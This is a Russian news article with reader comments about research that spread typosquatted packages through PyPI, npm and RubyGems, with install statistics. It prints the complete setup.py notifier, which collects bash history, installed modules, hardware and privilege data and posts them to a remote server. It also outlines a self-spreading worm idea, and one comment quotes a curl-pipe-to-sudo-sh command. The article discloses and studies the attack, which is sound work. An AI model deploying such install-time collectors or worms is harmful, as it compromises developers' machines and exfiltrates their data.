Эффективность атаки доказана при распространении вредоносного кода через репозитории PyPi (Python), Npmjs.com (Node.js) и rubygems.org (Ruby)


Оказывается, тайпосквоттинг подходит не только для регистрации доменных имён. Немецкий специалист по безопасности Николай Чахер (Nikolai Tschacher) продемонстрировал, насколько легко распространять вредоносный код через PyPi — каталог программного обеспечения, написанного на языке программирования Python, а также через репозитории NodeJS (Npmsjs.com) и Ruby (rubygems.org).

Итак, публикуем пакет с опечаткой в названии — и ждём, пока кто-нибудь допустит опечатку в своей консоли…

> sudo pip install reqeusts


Во время небольшого эксперимента Николай в целях исследования инфицировал 17 000 компьютеров, причём 43,6% установок были совершены с правами администратора, в том числе на серверах в правительственных доменах .gov и .mil.

Тайпосквоттинг и битсквоттинг
Хакеры давным-давно используют тайпосквоттинг для привлечения случайного трафика на бессмысленные сайты вроде microsodft.com. Данная атака эффективна из-за законов больших чисел. Если миллиард человек наберут URL сайта в адресной строке, то миллион их них сделают какую-нибудь ошибку. Примерно тысяча зайдут на подготовленный сайт, где их ждёт эксплоит-пак с использованием свеженьких 0day. Или, например, можно просто крутить рекламу на таких сайтах, получая деньги из воздуха.

Традиционные тайпосквоттеры регистрируют тысячи адресов, в продвинутые компании всегда вместе с основным доменов регистрируют возможные варианты тайпосквоттинга, устанавливая редирект. Некоторые даже используют тайпосквоттинг, чтобы забирать чужой трафик. Например, Google перенаправляет к себе трафик с домена duck.com.

Кстати, есть ещё битсквоттинг — экзотичесая разновидность тайпосквоттинга. Здесь расчёт идёт не на человеческую, а на аппаратную ошибку. Битсквоттинг делает ставку на то, что какое-нибудь из подключённых к интернету устройств случайно ошибётся и изменит один нужный бит в DNS-запросе, так что трафик пойдёт вместо оригинального сайта на сайт злоумышленника. Для таких атак выбираются домены CDN и рекламных сетей, контент с которых подгружается на тысячи популярных сайтов. Это такие домены, как fbcdn.net, 2mdn.net и akamai.com.

Николай Чахер ознакомился с методами стандартного тайпосквоттинга и задался вопросом: а сколько же человек ошибутся в названии пакета, если вручную устанавливают покеты через пакетный менеджер. Например, пакетный менеджер pip скачивает пакеты из репозитория PyPi. Если мы создадим произвольный пакет с названием reqeusts (закачать его в репозиторий может кто угодно) вместо стандартного модуля requests, то наш пакет скачают и установят все пользователи, которые совершат опечатку при наборе команды.

Чтобы проверить эффективность атаки, Николай создал 214 пакетов с различными типами опечаток в названии, в том числе с незарегистрированными вариантами имён из стандартной библиотеки (например, urllib2), и закачивал их в репозитории в течение нескольких месяцев во второй половине 2015 года и начале 2016 года.

В пакетах Python вредоносный код прятался в файле setup.py, который запускается с правами администратора. Для модулей NPM был написан предустановочный скрипт, а вот с пакетами Ruby пришлось повозиться.

При установке каждого фиктивного тайпосквоттерского пакета отправлялось уведомление на сервер с указанием IP-адреса, операционной системы, прав пользователя и таймстампом.

Код программы-нотификатора
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
Notification program used in the typo squatting
bachelor thesis for the python package index.

Created in autumn 2015.

Copyright by Nikolai Tschacher
"""

import os
import ctypes
import sys
import platform
import subprocess

debug = False

# we are using Python3
if sys.version_info[0] == 3:
  import urllib.request
  from urllib.parse import urlencode

  GET = urllib.request.urlopen

  def python3POST(url, data={}, headers=None):
    """
    Returns the response of the POST request as string or
    False if the resource could not be accessed.
    """
    data = urllib.parse.urlencode(data).encode()
    request = urllib.request.Request(url, data)
    try:
      reponse = urllib.request.urlopen(request, timeout=15)
      cs = reponse.headers.get_content_charset()
      if cs:
        return reponse.read().decode(cs)
      else:
        return reponse.read().decode('utf-8')
    except urllib.error.HTTPError as he:
      # try again if some 400 or 500 error was received
      return ''
    except Exception as e:
      # everything else fails
      return False
  POST = python3POST
# we are using Python2
else:
  import urllib2
  from urllib import urlencode
  GET = urllib2.urlopen
  def python2POST(url, data={}, headers=None):
    """
    See python3POST
    """
    req = urllib2.Request(url, urlencode(data))
    try:
      response = urllib2.urlopen(req, timeout=15)
      return response.read()
    except urllib2.HTTPError as he:
      return ''
    except Exception as e:
      return False
  POST = python2POST


try:
  from subprocess import DEVNULL # py3k
except ImportError:
  DEVNULL = open(os.devnull, 'wb')


def get_command_history():
  if os.name == 'nt':
    # handle windows
    # http://serverfault.com/questions/95404/
    #is-there-a-global-persistent-cmd-history
    # apparently, there is no history in windows :(
    return ''

  elif os.name == 'posix':
    # handle linux and mac
    cmd = 'cat {}/.bash_history | grep -E "pip[23]? install"'
    return os.popen(cmd.format(os.path.expanduser('~'))).read()


def get_hardware_info():
  if os.name == 'nt':
    # handle windows
    return platform.processor()

  elif os.name == 'posix':
    # handle linux and mac
    if sys.platform.startswith('linux'):
      try:
        hw_info = subprocess.check_output('lshw -short',
                   stderr=DEVNULL, shell=True)
      except:
        hw_info = ''

      if not hw_info:
        try:
          hw_info = subprocess.check_output('lspci',
                   stderr=DEVNULL, shell=True)
        except:
          hw_info = ''
        hw_info += '\n' +          os.popen('free -m').read().strip()

      return hw_info

    elif sys.platform == 'darwin':
      # According to https://developer.apple.com/library/
      # mac/documentation/Darwin/Reference/ManPages/
      # man8/system_profiler.8.html
      # no personal information is provided by detailLevel: mini
      return os.popen('system_profiler -detailLevel mini').read()


def get_all_installed_modules():
  # first try the default path
  pip_list = os.popen('pip list').read().strip()

  if pip_list:
    return pip_list
  else:
    if os.name == 'nt':
      paths = ('C:/Python27',
           'C:/Python34',
           'C:/Python26',
           'C:/Python33',
           'C:/Python35',
           'C:/Python',
           'C:/Python2',
           'C:/Python3')
      # try some paths that make sense to me
      for loc in paths:
        pip_location = os.path.join(loc, 'Scripts/pip.exe')
        if os.path.exists(pip_location):
          cmd = '{} list'.format(pip_location)
          try:
            pip_list = subprocess.check_output(cmd,
                   stderr=DEVNULL, shell=True)
          except:
            pip_list = ''
          if pip_list:
            return pip_list
  return ''


def notify_home(url, package_name, intended_package_name):
  host_os = platform.platform()
  try:
    admin_rights = bool(os.getuid() == 0)
  except AttributeError:
    try:
      ret = ctypes.windll.shell32.IsUserAnAdmin()
      admin_rights = bool(ret != 0)
    except:
      admin_rights = False

  if os.name != 'nt':
    try:
      pip_version = os.popen('pip --version').read()
    except:
      pip_version = ''
  else:
    pip_version = platform.python_version()

  url_data = {
    'p1': package_name,
    'p2': intended_package_name,
    'p3': 'pip',
    'p4': host_os,
    'p5': admin_rights,
    'p6': pip_version,
  }

  post_data = {
    'p7': get_command_history(),
    'p8': get_all_installed_modules(),
    'p9': get_hardware_info(),
  }

  url_data = urlencode(url_data)
  response = POST(url + url_data, post_data)

  if debug:
    print(response)

  print('')
  print("Warning!!! Maybe you made a typo in your installation   command or the module does only exist in the python stdlib?!")
  print("Did you want to install '{}'   instead of '{}'??!".format(intended_package_name, package_name))
  print('For more information, please   visit http://svs-repo.informatik.uni-hamburg.de/')


def main():
  if debug:
    notify_home('http://localhost:8000/app/?',
             'pmba_basic', 'pmba_basic')
  else:
    notify_home('http://svs-repo.informatik.uni-hamburg.de/app/?',
                     'pmba_basic', 'pmba_basic')

if __name__ == '__main__':
  main()

Результаты оказались ошеломляющими. Нотификатор на сервере получил 45334 уведомлений об установке с 17289 уникальных IP-адресов.

Больше всего установок сгенерировали фиктивные пакеты для PyPi: 15221 уникальных IP-адресов. На долю rubygems.org пришлось 1631 инсталляций, на NPM — 525. В среднем, каждый пакет был установлен 92 раза, но самым популярным оказался urllib2 с 3929 уникальными установками.



Жертвы атаки распределились между разными операционными системами: Linux (8614), Windows (6174), OS X (4758) и другими ОС (57).

Сопоставление IP-адресов с хостами дало следующую картину.



Национальная принадлежность хостов, по странам


Полные результаты исследования опубликованы в дипломной работе Николая Чахера.

Кстати, автор предлагает идею, что данный тип атаки можно использовать для распространения червя, который будет майнить историю введённых команд в консоли под Linux и OS X, чтобы находить новые опечатки, которых нет в базе.

Теоретически, червь может сам искать новые векторы атаки (новые опечатки), генерировать новые пакеты, закачивать их в репозитории вместе со своим кодом и, таким образом, распространяться дальше.
Поделиться с друзьями
-->

Комментарии (21)


  1. aronsky
    13.06.2016 17:54
    -3

    Я даже не знаю, стоило ли это публиковать в открытом доступе до появления способа противостоять этому.


    1. zitter
      13.06.2016 18:03

      ИМХО стоило. Все давно догадывались что если что-то качать из репозитория без проверки, можно нарваться.
      Теперь кому-то надоело и он это доказал.

      Вот теперь может быть подумают о безопасности


      1. j_wayne
        13.06.2016 19:50
        +2

        И против установки гемов через sudo теперь есть не просто аргумент (хоть и железобетонный. но не все внимают), а прецедент. Конечно стоило.


      1. shasoft
        13.06.2016 21:12

        В данном случае, насколько я понимаю, упор сделан на другое — вы качаете вроде бы проверенный пакет, но опечатка делает свое черное дело.


    1. aol-nnov
      13.06.2016 18:51
      -1

      похожий вектор уже использовали в рабигемз для remote execution на сервере (на котором пакеты хранятся)
      только там не на опечатки был упор, а на то, что файл, описывающий пакет eval-ится на сервере (моя вольная интерпретация прочитанного здесь около года назад. искать, естессно, лень :) )


    1. sumanai
      13.06.2016 20:32

      Какие тут могут быть способы? Разве что регистрировать все похожие по написанию названия пакетов вместе с основным, но это для тех, кто выкладывает свой код.


      1. ilammy
        13.06.2016 22:44
        +2

        Например, подписывать релизы и проверять подписи?

        Не, это сильно сложно. Да и кому это вообще понадобится? Ой, надо ж поставить эту штуку… ага, curl http://example.com/install_thingie.sh | sudo sh


        1. sumanai
          13.06.2016 22:53
          +1

          > Например, подписывать релизы и проверять подписи?
          Ага
          http://xkcd.ru/1181/
          Кто будет следить за всеми этими подписями? Каждому разработчику по подписи? И тогда для её верификации я каждый раз буду ходить на сайт, мне некуда записывать все открытые ключи. Один ключ на всех? Достаточно будет украсть его.


          1. ilammy
            13.06.2016 23:06
            +1

            Ну да, а я о чём. Решение есть. Просто заморачиваться не удобно.

            За подписями следить разработчикам, кому же ещё. Каждому публикуемому пакету по подписи, да. Ключи можно заливать на какой-нибудь key server. Через него же отзывать скомпрометированные. Верифицировать — хотя бы через какие-то соцсети посредством того же Keybase.io. Ходить вам лично на сайт не надо, компьютер вполне может это сделать сам.

            Но всё это сложнее, чем тупо скачать и установить без проверок. И даже подписи не защищают от обезьяны, не глядя жмущей «Далее, [?] доверять Васе Пупкину с ключом 6DCB4341, далее, далее, *вводит пароль администратора*, готово». Или не глядя подписывающей что попало.


            1. servermen
              14.06.2016 12:55

              Будьте внимательны при наборе номера! А то невзначай можно и не туда попасть:).


            1. Barafu
              14.06.2016 15:51

              Допустим, автор пакета Вася Некуймазаев. Во-первых, это надо как-то наверняка знать. Во вторых, на keyserver лежат три ключа «Vasia Nekuimazaef» «Vasja Nekuimazaef» и «Vasjа Nekuimazaef». Какой правильный? Кстати, в этом примере две последние строки — разные. Смотрите внимательно, и больше не называйте других людей обезьянами, пока сами не можете увидеть очевидную разницу в простых строках.


              1. ilammy
                14.06.2016 22:13

                В плане, наверняка знать? Автор, ключи, и всё такое можно класть рядом с прочей информацией о проекте. Вам надо только убедиться, что вы не видите, например, совершенно другой поддельный интернет, совершенно другой проект, а у вас на компьютере сохранён совершенно другой ключ.

                Keyserver — это просто хостинг. Подразумевается, что вы и так знаете, что хотите там найти ключ от нужного вам Васи с нужным хешем. Которые верифицируются по другим каналам. Либо Вася вам лично в вашем блокнотике пишет хеш своего ключа своей рукой. Либо Вася просит Петю, Машу, и Сашу (или корпорацию Груша), которым вы доверяете, дать вам честное слово, что ключ с таким-то хешем принадлежит нужному Васе. Либо вы точно знаете, что Вася подписывается таким-то ником и использует такую-то аватарку, и Вася запостил хеш своего ключа на пяти различных сайтах, которым вы доверяете, поэтому у вас есть уверенность, что это именно тот Вася, который вам нужен.

                Вопрос в любом случае сводится к личному доверию и принятию решения о доверии. Если эти решения принимаются безответственно, то от ЭЦП нет толку.


      1. lega
        14.06.2016 09:59

        При установке выдавать варнинг, что ставиться не популярный пакет.


  1. IvanPanfilov
    13.06.2016 19:19
    -10

    хорошо что я не держу на компе эти Python, Node.JS и Ruby и вообще не имею привычки ставить всякую хрень вручную.


    1. Lucky_Starr
      13.06.2016 20:51

      Ставите всякую хрень автоматически? Пользуетесь пакетным менеджером ОС? Не понял Ваш комментарий.


      1. IvanPanfilov
        14.06.2016 19:23

        для деплоя на сервер пишу скрипты для установки и обновления пакетов. без опечаток.
        можно воспроизводить действия запустив лишь одну команду. а не набирать как мудак в консоли какждый раз команду установки пакета.
        офигенно удобная вещь


    1. tyomitch
      14.06.2016 01:23
      +4

      Если у вас нет собаки, её не отравит сосед, и с другом не будет драки, если у вас, если у вас, если у вас друга нет.


  1. pyrk2142
    13.06.2016 21:06

    Репозитории — это, безусловно, хорошо, но надо быть с ними осторожными (в идеале).

    Небольшая история: некоторое время назад я нашел пару уязвимостей на популярном хостинге репозиториев для jailbreak'нутых IOS-девайсов. Они позволяли получить полный доступ к аккаунту пользователя, включая выложенные им приложения. Учитывая популярность некоторых репозиториев, это пугало: можно было добавить вредоносный код в популярные приложения, а эти приложения улетят на устройства тем, кто захочет их установить или обновить, и смогут украсть все данные с устройства.


    1. foxmuldercp
      14.06.2016 10:20

      Что и называется «используйте только официальные прошивки и п/о взятое с официальных сайтов проекта», остальные «герои-хакеры» рискуют сами стать жертвой


      1. sumanai
        14.06.2016 16:53

        Так это и были официальные репозитории для взломанных устройств ))


  1. andreymal
    16.06.2016 13:01

    Сами разрабы репозиториев могут пропарсить access.log, вытащить наиболее распространённые опечатки и закрыть к ним доступ или поставить редиректы. Проблему полностью не решит, но полегче станет